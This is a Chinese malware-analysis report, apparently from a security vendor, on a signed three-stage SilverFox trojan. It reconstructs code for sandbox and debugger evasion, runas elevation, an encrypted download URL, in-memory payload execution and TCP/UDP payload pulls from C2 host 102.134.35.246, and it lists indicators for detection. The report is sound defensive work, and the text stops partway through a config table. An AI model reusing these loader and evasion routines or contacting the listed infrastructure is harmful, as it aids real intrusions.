概述
近日瑞星威胁情报平台捕获到一起银狐木马的攻击事件。该样本以三阶段递进方式投递:第一阶段为携带正常企业数字签名(上饶市嘉端科技有限公司,签名有效期自2026年8月13日21:21:17起,证书签发时间极新)的WinHTTP下载器,先以三重环境筛选(五项反分析与反调试检测、CPU 核数与内存阈值、强制真实用户交互)加父进程白名单判定,筛除沙箱、虚拟机与分析平台,再runas自提权,随后以RC4解密出载荷地址并经公共云存储平台下载加密载荷;第二阶段为完全不含导入表的shellcode,经PEB走查与双算法哈希解析17个API,从C2拉取第三阶段载荷;第三阶段为中文远控模块,在内存中被反射加载后上线,并以CREATE_SUSPENDED启动系统进程tracerpt.exe完成RIP劫持注入与守护重生。
其隐蔽性集中在三点:以正常企业签名获取信任,可绕过以"未签名或低信誉"为判据的粗粒度拦截;以公共云存储平台承载载荷(某云客服平台的会话附件存储桶),下载流量与正常业务附件无异,且该域名承载大量正常业务、不宜按域封禁;载荷全程不落盘,导入表、字符串与文件落地等传统检测面同时失效。
攻击流程

样本分析
第一阶段:合法数字签名掩护的 WinHTTP 自注入加载器
| 字段 | 内容 |
|---|---|
| 原始文件名 | 000888888757574.exe |
| 文件大小 | 155.9 KB |
| 文件MD5 | 7f6ef2981a3e4f88f9e8d1571cd1103c |
| 文件类型 | EXE |
| 病毒名 | Trojan.Injector!1.147FE |
| 主要功能 | 环境检测与 UAC 自提权后,解密内嵌载荷地址并下载载荷,在自身进程内解密执行 |
单实例控制(命名互斥体 Global\SessionMutex_99x)
互斥体名Global\SessionMutex_99x不出现在任何字符串表中,而是在栈上以立即数逐WCHAR构造:
该互斥体仅用于标记已有实例在运行,不承担互斥加锁职责:创建时dwFlags传0,即不请求初始所有权,样本既不占用也不等待该对象;同时句柄在每条退出路径上均会被CloseHandle释放。因此在runas自提权重启场景下,旧实例会先释放句柄再退出,待用户完成UAC确认、新实例实际启动时互斥体已不存在,新实例不会被旧实例阻塞:
// 单实例互斥体:名称逐 WCHAR 写栈,字符串表中无 "Global\SessionMutex_99x"
WCHAR szMutexName[24]; // 23 字符 + NUL,共 48 字节
szMutexName[0] = L'G'; szMutexName[1] = L'l'; szMutexName[2] = L'o';
szMutexName[3] = L'b'; szMutexName[4] = L'a'; szMutexName[5] = L'l';
szMutexName[6] = L'\\'; szMutexName[7] = L'S'; szMutexName[8] = L'e';
szMutexName[9] = L's'; szMutexName[10] = L's'; szMutexName[11] = L'i';
szMutexName[12] = L'o'; szMutexName[13] = L'n'; szMutexName[14] = L'M';
szMutexName[15] = L'u'; szMutexName[16] = L't'; szMutexName[17] = L'e';
szMutexName[18] = L'x'; szMutexName[19] = L'_'; szMutexName[20] = L'9';
szMutexName[21] = L'9'; szMutexName[22] = L'x'; szMutexName[23] = L'\0';
// dwFlags=0(不请求初始所有权),dwDesiredAccess=MUTEX_ALL_ACCESS
hMutex = CreateMutexExW(0, szMutexName, 0, 0x1F0001);
if ( hMutex && GetLastError() == ERROR_ALREADY_EXISTS ) // 183
{
CloseHandle(hMutex);
return 0; // 静默退出,不提示用户
}
环境筛选(沙箱规避 + 反调试)
SandboxGate_RequireUserInteraction是第一阶段样本的反分析总闸门,也是该样本“环境检测”能力的主体:它不承担任何业务逻辑,唯一职责是判定当前宿主究竟是真实用户主机,还是沙箱、虚拟机与分析平台。检测按反分析检测、硬件资源与真实用户交互三层依次执行,任一层不通过即直接返回:
char SandboxGate_RequireUserInteraction(void)
{
if ( CheckTiming_RdtscPerfThreshold() // RDTSC 计时
|| IsDebuggerPresent_PEB() // PEB.BeingDebugged
|| IsWineOrEmulated_PebCheck() // PEB+0x68 模拟环境位
|| IsDebuggerPresent_HardwareBreakpoints() // Dr0-Dr3 硬件断点
|| CheckVMwareVBoxRegistry() ) // VMware/VirtualBox 注册表
return 1;
GetSystemInfo(&sysInfo);
GlobalMemoryStatusEx(&memStatus);
if ( sysInfo.dwNumberOfProcessors < 2 || // CPU 核数 < 2
memStatus.ullTotalPhys < 0x80000000 ) // 物理内存 < 2 GiB
return 1; // 判为沙箱环境
// 强制真实用户交互:60 秒内需出现 >5px 光标位移且按下过鼠标键
GetCursorPos(&ptBase);
do
{
if ( dwElapsedMs >= 60000 ) break;
SleepEx(100, FALSE); // 600 次 × 100ms 轮询
dwElapsedMs += 100;
if ( GetAsyncKeyState(VK_LBUTTON) < 0 || GetAsyncKeyState(VK_RBUTTON) < 0 )
bMouseButtonDown = 1;
if ( GetCursorPos(&ptNow) )
{
dMoveDistance = sqrt( MsPow_Int_Int(ptNow.x - ptBase.x, 2)
+ MsPow_Int_Int(ptNow.y - ptBase.y, 2) );
if ( dMoveDistance > 5.0 ) // 位移阈值 5.0 像素
{
++cMouseMoves;
ptBase = ptNow;
}
}
}
while ( cMouseMoves < 1 || !bMouseButtonDown );
return ( cMouseMoves >= 1 && bMouseButtonDown ) ? 0 : 1;
}
第一项检测以RDTSC测量1000次整数循环的耗时,与2000周期(0x7D0)阈值比较,用以识别被插桩或降频运行的仿真环境:
// RDTSC 计时检测:1000 次循环耗时 < 2000 周期即判为可疑环境
bool CheckTiming_RdtscPerfThreshold(void)
{
UINT64 tsStart = __rdtsc();
int unusedChecksum = 0;
for ( int i = 0; i < 1000; i++ )
unusedChecksum = (4 * i) ^ (7 * i % 13 + unusedChecksum);
return (__rdtsc() - tsStart) < 0x7D0;
}
第二项与第三项检测均直读PEB,不使用kernel32!IsDebuggerPresent,从而规避对该导出函数的API Hook:
// 直读 PEB 的标志位判定调试与模拟环境
bool IsDebuggerPresent_PEB(void)
{
return NtCurrentPeb()->BeingDebugged != 0; // PEB+0x2
}
bool IsWineOrEmulated_PebCheck(void)
{
return ((ULONG_PTR)NtCurrentPeb()->ApiSetMap & 0x70) != 0; // PEB+0x68
}
第四项检测以GetThreadContext读取调试寄存器,Dr0–Dr3任一非零即判定存在硬件断点:
// 硬件断点检测:读取 CONTEXT_DEBUG_REGISTERS 的 Dr0-Dr3
bool IsDebuggerPresent_HardwareBreakpoints(void)
{
CONTEXT ctx;
memset(&ctx, 0, sizeof(ctx)); // 内联 rep stosb 清零 0x4D0 字节
ctx.ContextFlags = 0x100010; // CONTEXT_AMD64 | CONTEXT_DEBUG_REGISTERS
if ( !GetThreadContext(GetCurrentThread(), &ctx) )
return FALSE;
return ctx.Dr0 || ctx.Dr1 || ctx.Dr2 || ctx.Dr3;
}
第五项检测(虚拟机注册表探测)不依赖静态导入的advapi32,而是运行时取句柄并解析注册表接口,探测两个虚拟机特征键:
// 虚拟机注册表探测:动态解析 advapi32!RegOpenKeyExW / RegCloseKey
char CheckVMwareVBoxRegistry(void)
{
HMODULE hAdvapi32 = NULL;
FARPROC pRegOpenKeyExW, pRegCloseKey;
HKEY hKey;
GetModuleHandleExW(0, L"advapi32.dll", &hAdvapi32);
if ( !hAdvapi32 ) return 0;
pRegOpenKeyExW = GetProcAddress(hAdvapi32, "RegOpenKeyExW");
pRegCloseKey = GetProcAddress(hAdvapi32, "RegCloseKey");
if ( !pRegOpenKeyExW || !pRegCloseKey ) return 0;
if ( pRegOpenKeyExW(HKEY_LOCAL_MACHINE, L"SOFTWARE\\VMware\\VMware Tools",
0, KEY_READ, &hKey) == ERROR_SUCCESS )
{
pRegCloseKey(hKey);
return 1;
}
if ( pRegOpenKeyExW(HKEY_LOCAL_MACHINE, L"SOFTWARE\\Oracle\\VirtualBox",
0, KEY_READ, &hKey) == ERROR_SUCCESS )
{
pRegCloseKey(hKey);
return 1;
}
return 0;
}
样本另内置一套父进程白名单判定逻辑:以动态解析的NtQueryInformationProcess(ProcessBasicInformation)读取父进程PID,打开后取完整映像路径并截取文件名,与explorer.exe、svchost.exe、services.exe、winlogon.exe、lsass.exe五个系统进程名比对,命中任一即返回0;全部不匹配则返回1,判定为疑似沙箱或调试器宿主:
// 父进程白名单判定:取父进程映像名并与系统进程名比对
char CheckParentProcessWhitelist(void)
{
HMODULE hNtdll = NULL;
FARPROC pNtQueryInformationProcess;
PROCESS_BASIC_INFORMATION pbi;
WCHAR szParentImagePath[MAX_PATH];
DWORD dwExeNameSize = 260;
HANDLE hParentProcess;
GetModuleHandleExW(0, L"ntdll.dll", &hNtdll);
if ( !hNtdll ) return 0;
pNtQueryInformationProcess = GetProcAddress(hNtdll, "NtQueryInformationProcess");
if ( !pNtQueryInformationProcess ) return 0;
memset(&pbi, 0, sizeof(pbi));
if ( pNtQueryInformationProcess(GetCurrentProcess(), ProcessBasicInformation,
&pbi, sizeof(pbi), NULL) )
return 0;
if ( !pbi.InheritedFromUniqueProcessId )
return 0;
hParentProcess = OpenProcess(PROCESS_QUERY_INFORMATION, FALSE,
(DWORD)pbi.InheritedFromUniqueProcessId);
if ( !hParentProcess ) return 0;
memset(szParentImagePath, 0, sizeof(szParentImagePath));
if ( QueryFullProcessImageNameW(hParentProcess, 0, szParentImagePath, &dwExeNameSize) )
{
WCHAR *pszName = wcsrchr(szParentImagePath, L'\\');
pszName = pszName ? pszName + 1 : szParentImagePath;
// 白名单:explorer / svchost / services / winlogon / lsass
// 五项全部不匹配(_wcsicmp 非 0 表示不等)→ 父进程非常规系统进程
if ( _wcsicmp(pszName, L"explorer.exe") && _wcsicmp(pszName, L"svchost.exe")
&& _wcsicmp(pszName, L"services.exe") && _wcsicmp(pszName, L"winlogon.exe")
&& _wcsicmp(pszName, L"lsass.exe") )
{
CloseHandle(hParentProcess);
return 1; // 不在白名单:疑似沙箱或调试器宿主
}
}
CloseHandle(hParentProcess);
return 0;
}
权限提升(runas 自重启 + 隐藏窗口)
环境检测通过后,样本以OpenProcessToken与GetTokenInformation(TokenElevation)判定自身是否具备管理员令牌;未提权则以runas重启自身,请求系统弹出UAC,且新实例以隐藏窗口方式运行:
// 提权状态判定:TokenElevation
bool IsProcessElevated(void)
{
HANDLE hToken;
DWORD tokenIsElevated = 0, dwReturnLength = 0;
if ( OpenProcessToken(GetCurrentProcess(), TOKEN_QUERY, &hToken) )
{
GetTokenInformation(hToken, TokenElevation, &tokenIsElevated,
sizeof(tokenIsElevated), &dwReturnLength);
CloseHandle(hToken);
}
return tokenIsElevated != 0;
}
RelaunchSelfElevated_RunAs以lpVerb="runas"、lpFile为自身路径把提权请求交给系统,新实例以SW_HIDE隐藏窗口启动。其中"runas"动词同样逐WCHAR在栈上构造(字符串表中无该动词),SHELLEXECUTEINFOW自fMask起被整体清零,既不取新进程句柄,也不等待其执行结果:
// 自我提权重启:runas + SW_HIDE
BOOL RelaunchSelfElevated_RunAs(void)
{
SHELLEXECUTEINFOW sei;
WCHAR szSelfPath[MAX_PATH];
WCHAR szVerbRunas[8];
GetModuleFileNameW(NULL, szSelfPath, 0x104);
// 逐 WCHAR 在栈上构造 L"runas",不出现在字符串表
szVerbRunas[0] = L'r'; szVerbRunas[1] = L'u'; szVerbRunas[2] = L'n';
szVerbRunas[3] = L'a'; szVerbRunas[4] = L's'; szVerbRunas[5] = L'\0';
sei.cbSize = sizeof(sei);
memset(&sei.fMask, 0, 0x6C);
sei.lpVerb = szVerbRunas; // 请求 UAC 提权
sei.lpFile = szSelfPath;
sei.nShow = SW_HIDE;
return ShellExecuteExW(&sei);
}
载荷下载地址还原(栈上常量块 + RC4 / SecKey99)
提权后的实例进入主体逻辑,第一步还原第二阶段载荷的下载地址。204字节常量(8字节密钥"SecKey99" + 196字节密文)以逐字节立即数写栈的方式构造,不在字符串表与数据段中留下可扫描痕迹:
解密时把密文段复制到堆副本,以栈上的8字节密钥调用RC4,完成后将栈上密钥清零:
// 解密内嵌常量块,还原第二阶段载荷下载地址
// 注:函数名中的 C2Url 实指载荷分发地址,非 C2 指令通道
void *DecryptEmbeddedC2Url(void *pOut)
{
BYTE keyAndCipherBlob[204];
BYTE *pHeapCopy;
pHeapCopy = malloc(0xC4);
if ( !pHeapCopy )
return NULL;
memmove(pHeapCopy, &keyAndCipherBlob[8], 0xC4);
RC4CryptInPlace(pHeapCopy, 0xC4, keyAndCipherBlob, 8);
memmove(pOut, pHeapCopy, 0xC4);
free(pHeapCopy);
return ZeroBuffer_RepStosb(keyAndCipherBlob, 8);
}
RC4CryptInPlace为标准RC4实现,S盒开在栈上;密钥编排(KSA)与教科书一致,故只保留密钥流生成(PRGA):
// RC4 流密码(KSA + PRGA)
UINT RC4CryptInPlace(BYTE *data, UINT data_len, const BYTE *key, UINT key_len)
{
BYTE S[256];
int i, j;
UINT k;
// KSA:S 盒初始化为 0..255,再按 key 做 256 轮混洗(标准实现,省略)
// ...
// PRGA:逐字节取 S[(S[i] + S[j]) & 0xFF] 与明文字节异或
for ( j = 0, i = 0, k = 0; k < data_len; k++ )
{
i = (i + 1) & 0xFF;
j = (j + S[i]) & 0xFF;
BYTE t = S[i]; S[i] = S[j]; S[j] = t;
data[k] ^= S[(S[i] + S[j]) & 0xFF];
}
return data_len;
}
解密结果为hxxps://cik07-cos[.]7moor-fs2[.]com/im/4d2c3f00-7d4c-11e5-af15-41bf63ae4ea0/41637ea9a680f60f/7180[.]txt,解密完成后栈上的8字节密钥副本立即被清零。该URL指向云客服平台7moor的会话附件存储桶,/im///这一路径形态即聊天窗口上传的附件,内容由该平台的租户/访客上传,因此该域名不宜按域封禁。
载荷下载(运行时解析 WinHTTP + HTTPS GET)
样本的静态导入表不含winhttp/wininet/ws2_32,网络能力全部在运行时取得:
// 运行时取得 WinHTTP 全套接口(静态导入表无 winhttp)
hWinHttp = LoadLibraryExW(L"winhttp.dll", NULL, 0);
pWinHttpCrackUrl = GetProcAddress(hWinHttp, "WinHttpCrackUrl");
pWinHttpOpen = GetProcAddress(hWinHttp, "WinHttpOpen");
pWinHttpConnect = GetProcAddress(hWinHttp, "WinHttpConnect");
pWinHttpOpenRequest = GetProcAddress(hWinHttp, "WinHttpOpenRequest");
pWinHttpSendRequest = GetProcAddress(hWinHttp, "WinHttpSendRequest");
pWinHttpReceiveResponse = GetProcAddress(hWinHttp, "WinHttpReceiveResponse");
pWinHttpQueryDataAvailable = GetProcAddress(hWinHttp, "WinHttpQueryDataAvailable");
pWinHttpReadData = GetProcAddress(hWinHttp, "WinHttpReadData");
pWinHttpCloseHandle = GetProcAddress(hWinHttp, "WinHttpCloseHandle");
请求方法为GET、User-Agent为截断式Mozilla/5.0(无浏览器版本与平台信息),下载目标以.txt为扩展名伪装成文本资源。
// 下载链:拆解 URL → 建立会话 → HTTPS GET → 循环读取响应体
DecryptEmbeddedC2Url(szUrl);
pWinHttpCrackUrl(szUrl, 0, 0, &urlComponents);
WCHAR wszUserAgent[] = L"Mozilla/5.0"; // 截断式 UA
hSession = pWinHttpOpen(wszUserAgent, 0, 0, 0, 0);
hConnect = pWinHttpConnect(hSession, szHost, (WORD)urlComponents.nPort, 0);
dwFlags = ( urlComponents.nScheme == INTERNET_SCHEME_HTTPS ) ? WINHTTP_FLAG_SECURE : 0;
hRequest = pWinHttpOpenRequest(hConnect, L"GET", szPath, NULL, NULL, NULL, dwFlags);
if ( pWinHttpSendRequest(hRequest, NULL, 0, NULL, 0, 0, 0)
&& pWinHttpReceiveResponse(hRequest, NULL) )
{
for ( ;; )
{
if ( !pWinHttpQueryDataAvailable(hRequest, &dwAvail) || !dwAvail )
break;
InitBufferThenFill(&bufChunk, dwAvail, NULL);
pWinHttpReadData(hRequest, GetBufferRangeBegin(&bufChunk), dwAvail, &dwRead);
}
}
载荷执行(索引相关 XOR 解密 → RW→RX → 本进程直接调用)
下载缓冲区经非空校验后交由LoadAndExecutePayload_SelfInject执行,其内存操作序列为:分配RW区 → 写入密文 → 原地解密 → 改为RX → 直接调用。三个内存原语均在运行时从ntdll.dll解析:
// 自身进程内反射式执行:RW 分配 → 写入 → 解密 → RX → call [T1620]
__int64 LoadAndExecutePayload_SelfInject(void **pCtx)
{
void *pPayloadBase = NULL;
SIZE_T cbPayload, cbWritten = 0;
int oldProtect = 0, ntStatus;
FARPROC pNtAllocateVirtualMemory, pNtWriteVirtualMemory, pNtProtectVirtualMemory;
pNtAllocateVirtualMemory = ResolveNtdllProc("NtAllocateVirtualMemory");
pNtProtectVirtualMemory = ResolveNtdllProc("NtProtectVirtualMemory");
pNtWriteVirtualMemory = ResolveNtdllProc("NtWriteVirtualMemory");
if ( !pNtAllocateVirtualMemory || !pNtProtectVirtualMemory )
return 0;
cbPayload = GetBufferRangeSize(pCtx);
ntStatus = pNtAllocateVirtualMemory(GetCurrentProcess(), &pPayloadBase, 0,
&cbPayload, MEM_COMMIT | MEM_RESERVE,
PAGE_READWRITE);
if ( ntStatus || !pPayloadBase )
return 0;
if ( pNtWriteVirtualMemory )
{
cbPayload = GetBufferRangeSize(pCtx);
if ( pNtWriteVirtualMemory(GetCurrentProcess(), pPayloadBase,
GetBufferRangeBegin(pCtx), cbPayload, &cbWritten) )
return 0;
}
else
{
memmove(pPayloadBase, GetBufferRangeBegin(pCtx), GetBufferRangeSize(pCtx));
}
DecryptBuffer_IndexedXor(pPayloadBase, GetBufferRangeSize(pCtx)); // 解密
cbPayload = GetBufferRangeSize(pCtx);
ntStatus = pNtProtectVirtualMemory(GetCurrentProcess(), &pPayloadBase, &cbPayload,
PAGE_EXECUTE_READ, &oldProtect);
if ( ntStatus )
{
SIZE_T cbZero = 0;
pNtAllocateVirtualMemory(GetCurrentProcess(), &pPayloadBase, 0, &cbZero,
MEM_RELEASE, PAGE_NOACCESS);
return 0;
}
return ((__int64 (*)(void))pPayloadBase)(); // 直接调用载荷入口
}
载荷使用自定义XOR解密,密钥由每个字节的索引位置计算得出,不需要额外的密钥:
// 索引相关 XOR:key_byte 仅由索引 i 推出,无密钥表
// 密钥流前 16 字节:87 C3 98 A5 D2 7F BF B4 0D 49 FB 5F EC CF 19 27
// 该特征可用于同族样本快速判定
UINT64 DecryptBuffer_IndexedXor(BYTE *pBuf, UINT64 cbBuf)
{
for ( UINT64 i = 0; i < cbBuf; i++ )
{
DWORD k1 = (DWORD)((i + 1) * 0x6E5D228F) ^ 0x8E4D9F88;
DWORD r = (k1 << 7) | (k1 >> 25); // ROL32(k1, 7)
DWORD a = 0x6E5D228F >> (i % 5);
DWORD b = 0x8E4D9F88 << (i % 9);
DWORD V = r ^ a ^ b;
pBuf[i] ^= (BYTE)((V ^ (V >> 16) ^ (V >> 8)) & 0xFF);
}
return cbBuf;
}
第二阶段:无导入表哈希自解析的载荷拉取器
| 字段 | 内容 |
|---|---|
| 文件大小 | 2.93 KB |
| 文件MD5 | 909ec32ff0b1b4e8b1995afad83760bb |
| 病毒名 | Backdoor.SilverFox/x64!1.104D7 |
| 主要功能 | 解析内嵌配置定位C2,经TCP/UDP双通道下载第三阶段载荷,解密后在内存中直接执行 |
加载与API解析(PEB 走查 + 双算法哈希)
该模块没有导入表,所有 API 地址都在运行时自己找。先从线程环境块中读取出PEB指针,顺着已加载模块链表找到kernel32.dll的基址,再在其导出表中按哈希值搜索GetProcAddress和LoadLibraryA,拿到这两个核心函数后,就可以加载其他模块、解析任意 API 了。整个过程用到的 API 列表如下:
| 模块 | 解析的 API |
|---|---|
kernel32 |
GetProcAddress、LoadLibraryA、VirtualAlloc、VirtualFree、lstrcmpiA |
ntdll |
RtlZeroMemory、RtlMoveMemory |
ws2_32 |
WSAStartup、socket、getaddrinfo、freeaddrinfo、htons、connect、send、recv、closesocket、WSACleanup |
模块名和 API 名的搜索都用了哈希算法,但算法略有不同:查找模块名时把字母转成大写再算哈希(大小写不敏感),查找 API 名时保持原始大小写。两者的共同点是都用一个固定公式(h = h * 131 + 字符值)累计计算。以模块名哈希为例:
// 模块名哈希(大小写不敏感):h = h*131 + (WCHAR 转大写)
hash = 0;
for ( i = 0; i < modNameLen; i++ )
{
c = BaseDllName.Buffer[i];
if ( c >= 0x61 ) // 小写字母转大写
c -= 0x20;
hash = c + 131 * hash;
}
if ( (hash & 0x7FFFFFFF) == 0x1CCA9CE6 ) // 命中 "kernel32.dll"
pKernel32Base = pLdrEntry->DllBase;
网络库Ws2_32.dll的名字同样不以明文出现,而是在栈上用几条立即数写入拼出:
// 栈上拼出 "Ws2_32.dll"
*(DWORD *)(szWs2 + 0) = 0x5F327357; // "Ws2_"
*(DWORD *)(szWs2 + 4) = 0x642E3233; // "32.d"
*(WORD *)(szWs2 + 8) = 0x6C6C; // "ll"
*(WORD *)(szWs2 + 10) = 0;
hWs2 = LoadLibraryA(szWs2); // 静态导入表中无 Ws2_32.dll
配置发现(codemark 标记自定位)
shellcode没有PE资源节可用于存放参数,因此以8字节文本标记codemark在自身映像内逐字节自定位,命中位置即配置块起点(本样本偏移0xA20),扫描上限21000(0x5208)字节。代码按长度字段与偏移量逐项读取该配置块,各字段的大小与用途如下:
| 偏移 | 大小 | 实测值 | 含义 | 代码读取位置 |
|---|---|---|---|---|
+0 |
8 | "codemark" |
配置块定位标记 | 搜索循环 |
+8 … +31 |
24 | 全 00 |
预留(版本/扩展位) | — |
+32 |
4 | 0F 00 00 00 = 15 |
主机串 1 长度 | VirtualAlloc / RtlZeroMemory 大小 |
+36 |
4 | 98 06 00 00 = 1688 |
端口 1 | 第 1 路的 htons 入参 |
+40 |
4 | 01 00 00 00 = 1 |
flag1:通道类型(≠0 = TCP 流式,=0 = UDP 分块) |
通道调度分支 |
+44 |
4 | 0F 00 00 00 = 15 |
主机串 2 长度 | 第二段 VirtualAlloc 大小 |
+48 |
4 | 60 07 00 00 = 1888 |
端口 2 | 第 2 路的 htons 入参 |
+52 |
4 | 01 00 00 00 = 1 |
flag2:第 2 路的通道类型 |
通道调度分支 |
+56 |
15 | "102.134.35.246\0" |
主机串 1 | getaddrinfo 入参(第 1 路) |
+71 |
15 | "102.134.35.246\0" |
主机串 2 | getaddrinfo 入参(第 2 路) |
+86 |
318 | 字符倒序 UTF-16 配置串 |
端点清单(见下) | 作为参数传给第三阶段入口 |
配置块+86起为一段以UTF-16LE存放、字符级倒序的配置串。倒序还原后的内容如下:
|p1:102.134.35.246|o1:1688|t1:1|p2:102.134.35.246|o2:1888|t2:1|p3:102.134.35.246|o3:88|t3:1|dd:1|cl:1|fz:默认|bb:1.0|bz:9.18|jp:0|bh:0|ll:0|dl:0|sh:0|kl:0|bd:0|
该配置串与前述dword字段构成相互独立的双重验证:p1/p2与两份"102.134.35.246"一致,o1:1688/o2:1888与配置块中的端口精确一致,t1/t2与flag1/flag2一致;第三组端点p3/o3:88/t3在本shellcode中无代码路径引用。
通道调度(按 flag 选择,TCP 优先 / UDP 兜底)
调度循环先处理第 1 路、再处理第 2 路,随后无条件回到循环开头,无计数器、无退避:
// WSAStartup 成功(返回 0)后进入双通道调度
if ( WSAStartup(MAKEWORD(2, 2), &wsaData) == 0 )
{
for ( ;; )
{
if ( cfg->flag1 )
DownloadStream_DecryptExec(1, ctx); // 第 1 路:TCP 流式,端口 1688
else
DownloadChunked_RetryExec(1, ctx); // 第 1 路:UDP 分块
if ( cfg->flag2 )
DownloadStream_DecryptExec(2, ctx); // 第 2 路:同一主机,端口 1888
else
DownloadChunked_RetryExec(2, ctx);
}
}
TCP流式通道(3 字节握手 → 定量接收 → 变体 XOR → 直接执行)
TCP通道先建立连接、发送3字节握手串"64",再循环接收并追加到RWX载荷缓冲区,累计达到固定阈值307214(0x4B00E)字节后触发解密:
// TCP 流式通道:连接 → 3 字节握手 → 循环接收至固定阈值
sock = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
ctx->hSocket = sock;
ctx->pPayloadBuf = VirtualAlloc(NULL, 524302, MEM_COMMIT | MEM_RESERVE,
PAGE_EXECUTE_READWRITE);
pHost = ( a3 == 1 ) ? ctx->pszHost1 : ctx->pszHost2;
getaddrinfo(pHost, NULL, NULL, &pAddrInfo);
memcpy(&ctx->saRemote, pAddrInfo->ai_addr, sizeof(ctx->saRemote));
ctx->saRemote.sin_port = htons( a3 == 1 ? cfg->port1 : cfg->port2 );
connect(sock, (SOCKADDR *)&ctx->saRemote, sizeof(ctx->saRemote));
strcpy(szHandshake, "64"); // 3 字节握手标识
send(sock, szHandshake, 3, 0);
pRxBuf = VirtualAlloc(NULL, 317440, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
cbTotal = 0;
while ( (n = recv(sock, pRxBuf, 102400, 0)) > 0 )
{
RtlMoveMemory(ctx->pPayloadBuf + cbTotal, pRxBuf, n);
cbTotal += n;
if ( cbTotal == 307214 )
break;
}
解密为变体XOR:密钥块取自同一数据流头部偏移+4到+13这10个字节(含两端)的明文,写指针从+14起线性推进,密钥索引以10字节为周期循环:
// 变体 XOR:cipher[i] ^= ((7 * key[j] + 0x1F) ^ 0x77)
// 密钥块 = 帧头偏移 +4 到 +13 的 10 字节明文(含两端);j = (i == 0) ? 0 : (i - 1) % 10
pPlain = ctx->pPayloadBuf + 14;
ctx->pPayloadBuf = pPlain;
for ( i = 0; i < 307214; i++ )
{
j = ( i == 0 ) ? 0 : ( i - 1 ) % 10;
keyByte = pPlain[j - 10];
pPlain[i] ^= (BYTE)((7 * keyByte + 0x1F) ^ 0x77);
}
UDP分块通道(5 字节请求 / 109 字节响应,60 次重试)
当flag为0时改用基于UDP的分块拉取通道:套接字以SOCK_DGRAM/IPPROTO_UDP创建并connect为已连接UDP套接字,请求报文固定5字节。响应处理由长度驱动,并按首字节与索引回显做完整性校验:
// UDP 分块请求构造与响应处理(长度驱动 + 首字节/索引/总长度三重校验)
reqBuf = VirtualAlloc(NULL, 200, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
RtlMoveMemory(reqBuf, &tag, 1); // tag = 0x32('2')
RtlMoveMemory(reqBuf + 1, &curIdx, 4); // 块索引(小端 dword)
if ( send(sock, reqBuf, 5, 0) != 5 )
goto ABANDON_CONNECTION; // 未发满 5 字节即放弃本连接
n = recv(sock, reqBuf, 200, 0);
if ( curIdx > 0 && curIdx > lastIdx )
goto LAUNCH;
if ( n == -1 ) break;
if ( n == 12 ) continue; // 12 字节控制报文:重发当前块
if ( n == 16 ) break; // 16 字节控制报文:放弃本连接
if ( n != 109 ) continue;
RtlMoveMemory(&respTag, reqBuf, 1);
RtlMoveMemory(&echoIdx, reqBuf + 1, 4);
if ( respTag != 0x32 || echoIdx != curIdx )
continue;
RtlMoveMemory(&respTotal, reqBuf + 105, 4);
if ( curIdx == 0 )
{
totalLen = respTotal;
lastIdx = totalLen / 100 - ( totalLen % 100 == 0 );
}
else if ( respTotal != totalLen )
break;
RtlMoveMemory(ctx->pPayloadBuf + 100 * echoIdx,
reqBuf + 5, 100);
if ( curIdx == lastIdx )
goto LAUNCH;
curIdx++;
该通道的重试与容错参数如下:
| 参数 | 取值 | 代码判据 |
|---|---|---|
| 单块最大重试次数 | 60 |
重试计数 > 60 即放弃当前连接 |
| 最大连接次数 | 15 |
连接计数 >= 15 即整体退出 |
| 请求报文 | 5 字节 |
0x32 + 块索引 u32 LE |
| 数据响应 | 109 字节 |
0x32 + 索引回显4字节 + 数据100字节 + 总长度4字节 |
| 控制响应 | 12 / 16 字节 |
12 = 重发当前块;16 = 放弃当前连接 |
| 块大小 | 100 字节 |
写入偏移 = 100 * 块索引 |
载荷布局(14 字节头 + 反射加载桩 + 内嵌 DLL)
TCP通道收满的307214字节由14字节头部与307200字节载荷构成(UDP通道按100字节块组装)。TCP协议在流头部以4字节小端回传总长度0x0004B00E,与代码中的接收阈值、14字节头部偏移完全吻合。载荷内部布局如下:
| 偏移 | 长度(字节) | 内容 |
|---|---|---|
0x000000 – 0x0006D1 |
1745 | 反射加载桩与加载器主体:入口 jmp 0x448,0x448 起为加载器主体(PEB遍历与同族哈希解析) |
0x0006D1 – 0x020ED1 |
133120 | 内嵌完整x64 DLL(上线模块.dll) |
0x020ED1 – 0x04B000 |
172335 | 全零填充,凑齐固定的300 KB载荷大小 |
载荷内加载器主体与第二阶段shellcode使用完全相同的哈希算法与常量,是三段投递链同源的直接证据:加载器主体同样以gs:[0x60]直读PEB,并以h = h*131 + c 逐字符计算哈希,随后以偏移0x8处的哈希解析器解析API,所用常量与第二阶段逐一对应:
| 哈希常量 | 对应符号 |
|---|---|
0x1CCA9CE6 |
kernel32.dll(模块名哈希) |
0x1AB9B854 |
GetProcAddress |
0x7F201F78 |
LoadLibraryA |
第三阶段:注入 tracerpt.exe 的中文远控上线模块
| 字段 | 内容 |
|---|---|
| 原始文件名 | 上线模块.dll |
| 文件大小 | 130 KB |
| 文件MD5 | 752c7d381c203e35656921fae1a1775f |
| 文件类型 | DLL |
| 病毒名 | Backdoor.PoisonMouse!1.EEEE |
| 主要功能 | 解析倒序C2配置,三路轮换上线,接收载荷并注入tracerpt.exe |
配置解析(倒序配置串 + 注册表回退)
导出函数load接收宿主传入的倒序宽字符串配置,无长度校验地memmove到全局缓冲区后调用ParseC2Config_FromStringAndRegistry解析:
// 导出 load:宿主C2配置入口
void __fastcall load(const WCHAR *wszCfgReversed)
{
int cchCfg;
if ( !g_hWorkerThread )
{
cchCfg = lstrlenW(wszCfgReversed);
memmove(g_wszConfigRaw, wszCfgReversed, 2 * cchCfg + 2);
ParseC2Config_FromStringAndRegistry();
g_hWorkerThread = CreateThread(0, 0, C2_MainLoop_StartAddress, 0, 0, 0);
WaitForSingleObject(g_hWorkerThread, INFINITE);
CloseHandle(g_hWorkerThread);
}
}
配置解析器对全局缓冲区整体执行wcsrev倒序还原,随后按|分隔符与字段前缀逐项解析。配置串字段含义如下:
| 字段前缀 | 语义 | 示例值 |
|---|---|---|
p1:/p2:/p3: |
C2主机(三路) | 102.134.35.246 |
o1:/o2:/o3: |
C2端口(三路) | 1688/1888/88 |
t1:/t2:/t3: |
协议位(1=TCP) | 1 |
dd: |
首次上线延迟(秒) | — |
cl: |
重连间隔(秒) | — |
kl: |
注入守护开关 | 1=常驻守护 |
fz: |
分组 | 默认 |
bb: |
版本 | 1.0 |
bz: |
